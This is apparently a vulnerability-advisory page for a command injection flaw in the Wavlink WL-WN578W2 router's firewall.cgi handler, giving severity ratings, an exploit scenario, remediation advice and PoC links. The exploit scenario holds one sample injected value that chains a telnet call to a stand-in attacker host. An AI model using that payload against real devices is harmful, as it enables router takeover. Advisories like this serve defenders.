EUVD-2026-14295
GHSA-xvp7-mx9h-8g48
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L indicates network-accessible exploitation with low attack complexity but requiring prior authentication (PR:L), resulting in low confidentiality, integrity, and availability impact. The CVSS score of 6.3 is medium-severity, but several factors increase real-world concern: the exploit proof-of-concept is publicly available (E:P in the vector), the vendor has not responded or issued patches (RL:X), and the attack is remotely initiable with reproducible reliability (RC:R). While authentication is required, this reflects a realistic threat model for router attacks where many users share default credentials or weak passwords. The automation potential is high given the public POC, and a compromised router can serve as a lateral movement pivot point or facilitate man-in-the-middle attacks on network traffic. This is a genuine priority for Wavlink WL-WN578W2 owners despite the medium CVSS score, particularly in enterprise or managed service provider environments. |
| Exploit ScenarioDerived | An attacker with a valid administrative credential (obtained through credential stuffing, phishing, or default credentials) authenticates to the router's web interface and submits a POST request to /cgi-bin/firewall.cgi with a malicious payload in the dmz_flag or del_flag parameter, such as 'on; telnet attacker.com 23', causing arbitrary shell commands to execute on the router. The attacker could then install a backdoor, redirect DNS traffic, launch man-in-the-middle attacks on network clients, or pivot to internal network resources. A public proof-of-concept demonstrating this attack flow is available on GitHub, significantly lowering the barrier to exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 22, 2026
Wavlink WL-WN578W2 routers contain a command injection vulnerability in the /cgi-bin/firewall.cgi POST handler that allows authenticated attackers to execute arbitrary commands by manipulating the dmz_flag or del_flag parameters. The vulnerability is remotely exploitable and has public exploit code available, though no patch has been released. An attacker with network access and valid credentials could achieve code execution with the privileges of the web service.
Earlier versions of this analysis (1)
A command injection vulnerability exists in the Wavlink WL-WN578W2 221110 wireless router through the /cgi-bin/firewall.cgi POST request handler, where manipulation of the dmz_flag and del_flag parameters allows remote authenticated attackers to execute arbitrary commands on the device. The vulnerability has a CVSS score of 6.3 (medium severity) with proof-of-concept code publicly available on GitHub, and the vendor has not responded to early disclosure notifications, leaving no official patch available.
RemediationAI
No official firmware patch has been released from Wavlink. Users should immediately change the default administrative credentials on the device to a strong, unique password and restrict web interface access to trusted IP addresses only via firewall rules on the upstream network. Consider disabling remote management features and implementing network segmentation to isolate the router from critical systems. Monitor for suspicious firewall.cgi requests in access logs. For environments requiring higher security, consider replacing the Wavlink WL-WN578W2 with an alternative device from a vendor with active security response, or implement a secondary security appliance upstream of the router. Reference the public vulnerability disclosure at https://vuldb.com/?id.352360 and GitHub proof-of-concept at https://github.com/Litengzheng/vul_db/blob/main/WL-WN578W2/vul_5/README.md for technical details.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a command injection flaw (CWE-77: Improper Neutralization of Special Elements used in a Command) in the firewall configuration CGI script of the Wavlink WL-WN578W2 router. The affected component is the POST request handler at /cgi-bin/firewall.cgi, which fails to properly sanitize user-supplied input in the dmz_flag and del_flag parameters before passing them to system commands. This allows attackers to break out of the intended command context and inject arbitrary shell commands that execute with the privileges of the web server process. The CPE identifier cpe:2.3:a:wavlink:wl-wn578w2 confirms this is specific to the WL-WN578W2 model, version 221110 and potentially other versions in this product line.
Know when Wl Wn578w2 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was found in Wavlink WL-WN578W2 221110. The impacted element is an unknown function of the file /cgi-bin/firewall.cgi of the component POST Request Handler. Performing a manipulation of the argument dmz_flag/del_flag results in command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
Executive ViewAI
Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4543, a command injection vulnerability rated CVSS 6.3. Exploitation could allow attackers to execute code or inject malicious input. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: deploy WAF rules, restrict network access, enable logging.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Exploit-DB